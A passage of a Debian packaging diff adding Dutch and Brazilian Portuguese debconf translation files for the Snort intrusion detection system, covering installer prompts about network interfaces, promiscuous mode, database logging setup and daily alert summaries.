+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Dit dient enkel de eerste keer dat u snort-pgsql installeert te gebeuren. "
+#~ "Voordat u verder gaat, dient u over de volgende informatie te "
+#~ "beschikken:\n"
+#~ "  (1) de computernaam van een pgql-databaseserver die verbindingen van "
+#~ "deze machine aanvaardt\n"
+#~ "  (2) een database op die server\n"
+#~ "  (3) een gebruikersnaam en wachtwoord die toegang verlenen tot die "
+#~ "database\n"
+#~ "Als u niet over _al_ deze informatie beschikt, kunt u daar ofwel eerst "
+#~ "voor zorgen, ofwel 'nee' kiezen en het logboek gewoon in een bestand "
+#~ "opslaan. U kunt het databaselogboek altijd later instellen via het "
+#~ "commando 'dpkg-reconfigure -plow snort-pgsql"
+
+#  Type: note
+#  Description
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort heeft een geconfigureerde database nodig voor het succesvol kan "
+#~ "opstarten. Om de struktuur aan te maken, moet u volgende commando's "
+#~ "uitvoeren NADAT het pakket is geinstalleerd:\n"
+#~ "  cd /usr/share/doc/snort-pgsql/\n"
+#~ "  zcat create_postgresql.gz | psql -U <gebruiker> -h <server> -W "
+#~ "<databasenaam>\n"
+#~ "Hierbij dient u de juiste waarden voor <gebruiker>, <computer>, en "
+#~ "<dtabasenaam> in te vullen. PostgreSQL vraagt u om het wachtwoord."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Uw configuratiebestand is verouderd"
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Gelieve de naam in te geven van de interface(s) waarop Snort dient te "
+#~ "luisteren. U kan de namen van de beschikbare interfaces te weten komen "
+#~ "met het commando 'ip link show' of 'ifconfig'. Gewoonlijk is deze waarde "
+#~ "'eth0', maar afhankelijk van uw omgeving wilt u dit misschien aanpassen. "
+#~ "Als u een inbelverbinding gebruikt, is 'ppp0' waarschijnlijk meer van "
+#~ "toepassing."
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Op welk adresbereik dient Snort te luisteren?"
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Als u Snort instelt op een interface zonder IP-adres dient u de promiscue "
+#~ "modus uit te schakelen."
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "Wat is de computernaam van de te gebruiken MySQL-databaseserver?"
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Wat is de naam van de te gebruiken database?"
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Wat is de naam van de te gebruiken databasegebruiker?"
+
+#  Type: string
+#  Description
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr "Wat is de computernaam van de te gebruiken pgsql-databaseserver?"
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters) which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "Uw systeem heeft een verouderd configratiebestand (/etc/snort/snort."
+#~ "common.parameters) dat automatisch is omgezet in het nieuwe "
+#~ "configuratiebestandsformaat (in /etc/default/snort). Gelieve de nieuwe "
+#~ "configuratie na te kijken en de verouderde configuratie te verwijderen. "
+#~ "Zolang dit niet is gebeurd, zal het init.d script de nieuwe configuratie "
+#~ "niet gebruiken en zal u geen gebruik kunnen maken van de voordelen die "
+#~ "zijn geintroduceerd in de nieuwe versies."
--- snort-2.7.0.orig/debian/po/pt_BR.po
+++ snort-2.7.0/debian/po/pt_BR.po
@@ -0,0 +1,1000 @@
+#
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+#    Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2004-08-07 22:06-0300\n"
+"Last-Translator: Andr� Lu�s Lopes <andrelop@ig.com.br>\n"
+"Language-Team: Debian-BR Project <debian-l10n-portuguese@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=ISO-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+#, fuzzy
+#| msgid "root"
+msgid "boot"
+msgstr "root"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+#, fuzzy
+#| msgid ""
+#| "Snort can be started during boot, when connecting to the net with pppd or "
+#| "only when you manually start it via /usr/sbin/snort."
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"O Snort pode ser iniciado durante a inicializa��o da m�quina, quando "
+"conectando a Internet com o pppd ou somente quando voc� iniciar manualmente "
+"atrav�s do comando /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid "On which interface Snort should listen? (only one!)"
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Em qual interface de rede o Snort deve ouvir ? (somente uma !)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Please enter the interface name which snort should listen on. The name of "
+#| "the available interfaces are provided by running 'ip link show'. This "
+#| "value usually is 'eth0', but you might want to vary this depending on "
+#| "your environment, if you are using a dialup connection 'ppp0' might be "
+#| "more appropiate."
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Por favor, informe o nome da interface na qual o snort dever� ouvir. O nome "
+"das interfaces dispon�veis podem ser visualizados executando-se o comando "
+"'ip link show'. Esse valor geralmente � 'eth0', mas voc� pode querer variar "
+"isso dependendo de seu ambiente, caso voc� esteja usando uma conex�o "
+"discada, 'ppp0' pode ser mais apropriado."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Notice that Snort is usually configured to inspect all traffic coming "
+#| "from the Internet, so the interface you add here is usually the same the "
+#| "'default route' is on.  You can determine which interface is used for "
+#| "this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for "
+#| "'default' or '0.0.0.0')."
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Note que o Snort � geralmente configurado para inspecionar todo tr�fego "
+"chegando da Internet, de modo que a interface que voc� adicionar aqui "
+"geralmente � a mesma onde a 'rota padr�o' est�. Voc� pode determinar qual "
+"interface � usada para isso executando o comando '/sbin/ip ro sh' ou '/sbin/"
+"route -n' (procure por 'default' ou '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "It is also not uncommon to run Snort on an interface with no IP and "
+#| "configured in promiscuous mode, if this is your case, select the "
+#| "interface in this system that is physically connected to the network you "
+#| "want to inspect, enable promiscuous mode later on and make sure that the "
+#| "network traffic is sent to this interface (either connected to a 'port "
+#| "mirroring/spanning' port in a switch, to a hub or to a tap)"
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Tamb�m n�o � incomum executar o Snort em uma interface sem endere�o IP e "
+"configurada em modo prom�scuo, caso esse seja seu caso, selecione a "
+"interface neste sistema que esteja fisicamente conectada a rede que voc� "
+"quer inspecionar, habilite o modo prom�scuo depois e certifique-se de que o "
+"tr�fego de rede seja enviada para essa interface (conectado a uma porta "
+"'port mirroring/spanning' em um switch, a um hub ou a uma tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid "Please enter the address range that Snort will listen on."
+msgid "Address range for the local network:"
+msgstr "Por favor, especifique a faixa de endere�os na qual o Snort ir� ouvir."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#| "192.168.1.42/32 for just one. Specify multiple addresses on a single line "
+#| "separated by ',' (comma characters), no spaces allowed!"
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Voc� precisar� usar a nota��o CIDR, ou seja, 192.168.1.0/24 para um bloco de "
+"256 IPs ou 192.168.1.42/32 para um �nico host. Especifique m�ltiplos "
+"endere�os em uma �nica linha separados por ',' (caracter v�rgula). Espa�os "
+"n�o s�o permitidos !"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "O Snort deve desabilitar o modo prom�scuo na interface ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+#, fuzzy
+#| msgid ""
+#| "Disabling promiscuous mode means that Snort will only see packets "
+#| "addressed to it's own interface. Enabling it allows Snort to check  every "
+#| "packet that passes ethernet segment even if it's a connection between two "
+#| "other computers."
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Desabilitar o modo prom�scuo significa que o Snort ir� somente ver pacotes "
+"destinados a sua pr�pria interface. Habilitar o modo prom�scuo permitir� que "
+"o Snort cheque cada pacote que passa pelo segmento ethernet mesmo caso os "
+"pacotes fa�am parte de uma conex�o entre dois outros computadores."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+#, fuzzy
+#| msgid "Should Snort's rules testing order be changed to Pass|Alert|Log?"
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"A ordem de teste das regras do Snort deve ser mudada para Passar|Alertar|"
+"Logar ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+#, fuzzy
+#| msgid "Who should receive the daily statistics mails?"
+msgid "Recipient of daily statistics mails:"
+msgstr "Quem dever� receber os e-mails de estat�sticas di�rias ?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid ""
+#| "An alert needs to appear more times than this number to be included in "
+#| "the daily statistics."
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Um alerta precisa aparecer mais do que esta quantidade de vezes para ser "
+"considerado nas estat�sticas di�rias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-mysql to log to?"
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Voc� deseja configurar uma base de dados para o snort-mysql armazenar seus "
+"logs ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+#, fuzzy
+#| msgid ""
+#| "Make sure it has been set up correctly to allow incoming connections from "
+#| "this host!"
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Certifique-se de ter configurado a base de dados corretamente para permitir "
+"conex�es originadas deste host !"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+#, fuzzy
+#| msgid ""
+#| "Make sure this database has been created and your database user has write "
+#| "access to this database."
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Certifique-se de que essa base de dados tenha sido criada e que seu usu�rio "
+"tenha acesso de escrita nessa base de dados."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter the password for the database connection"
+msgid "Password for the database connection:"
+msgstr ""
+"Por favor informe a senha a ser usada pelo Snort para a conex�o com a base "
+"de dados"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter a password to connect to the Snort Alert database."
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Por favor, informe uma senha para conex�o na base de dados de Alertas do "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Por favor, crie a estrutura da base de dados agora, usando o comando a "
+"seguir :\n"
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usu�rio> -h <host> -p <nome_da_base>\n"
+"Informando os valores corretos para usu�rio, host e nome da base de dados. O "
+"MySQL ir� solicitar a senha."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Depois de ter criado a estrutura da base de dados, pressione 'ok' para "
+"continuar."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-pgsql to log to?"
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Voc� deseja configurar uma base de dados para o snort-pgsql armazenar seus "
+"logs ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+
+#, fuzzy
+#~| msgid "You are running Snort manually."
+#~ msgid "You are running Snort manually"
+#~ msgstr "Voc� est� executando o Snort manualmente."
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "inicializa��o, discagem, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Quando o Snort deve ser iniciado ?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Caso voc� queira, � poss�vel especificar 'any', para n�o confiar em "
+#~ "nenhum dos lados da rede."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Caso voc� mude a ordem de teste das regras do Snort para Passar|Alertar|"
+#~ "Logar, as regras ser�o aplicadas na ordem Passar->Alertar->Logar, ao "
+#~ "inv�s da ordem padr�o Alertar->Passar->Logar. Isso evitar� que os "
+#~ "usu�rios do Snort tenham que fazer grandes argumentos de linha de comando "
+#~ "Berkely Packet Filtering para filtrar suas regras de alerta."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Um job cron executado diariamente ir� sumarizar a informa��o dos logs "
+#~ "gerados pelo Snort usando um script chamado 'snort-stat'. Informe aqui o "
+#~ "destinat�rio dessas mensagens. O valor padr�o � o administrador do "
+#~ "sistema. Caso voc� mantenha esse valor, certifique-se de que as mensagens "
+#~ "para o administrador sejam redirecionadas para um usu�rio que na verdade "
+#~ "leia essas mensagens."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Caso voc� queira especificar op��es personalizadas para o Snort, por "
+#~ "favor, especifique-os aqui."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie o Snort usando :\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para fazer com que as configura��es tenham efeito."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Voc� precisa fazer isso somente na primeira vez que voc� instalar o snort-"
+#~ "mysql. Antes de prosseguir, certifique-se de possuir (1) o hostname da "
+#~ "m�quina executando um servidor mysql, configurado para permitir conex�es "
+#~ "tcp originadas desse host, (2) uma base de dados nesse servidor, (3) um "
+#~ "nome de usu�rio e senha para acessar a base de dados. Caso voc� n�o tenha "
+#~ "_tudo_ isso, selecione 'n�o' e execute o snort com o suporte comum de "
+#~ "logging em arquivo ou providencie tudo o que � necess�rio "
+#~ "antecipadamente. Voc� poder� sempre configurar o logging em base de dados "
+#~ "posteriormente, reconfigurando o pacote snort-mysql com o comando 'dpkg-"
+#~ "reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Certifique-se que esse usu�rio tenha sido criado e tenha acesso de "
+#~ "escrita."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "O Snort depende de um base de dados configuradas para armazenar seus logs."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Voc� precisa fazer isso somente na primeira vez que voc� instalar o snort-"
+#~ "pgsql. Antes de prosseguir, certifique-se de possuir (1) o hostname da "
+#~ "m�quina executando um servidor pgsql, configurado para permitir conex�es "
+#~ "tcp originadas desse host, (2) uma base de dados nesse servidor, (3) um "
+#~ "nome de usu�rio e senha para acessar a base de dados. Caso voc� n�o tenha "
+#~ "_tudo_ isso, selecione 'n�o' e execute o snort com o suporte comum de "
+#~ "logging em arquivo ou providencie tudo o que � necess�rio "
+#~ "antecipadamente. Voc� poder� sempre configurar o logging em base de dados "
+#~ "posteriormente, reconfigurando o pacote snort-pgsql com o comando 'dpkg-"
+#~ "reconfigure -plow snort-pgsql'"
+
+#, fuzzy
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Por favor, crie a estrutura da base de dados agora, usando o comando a "
+#~ "seguir :\n"
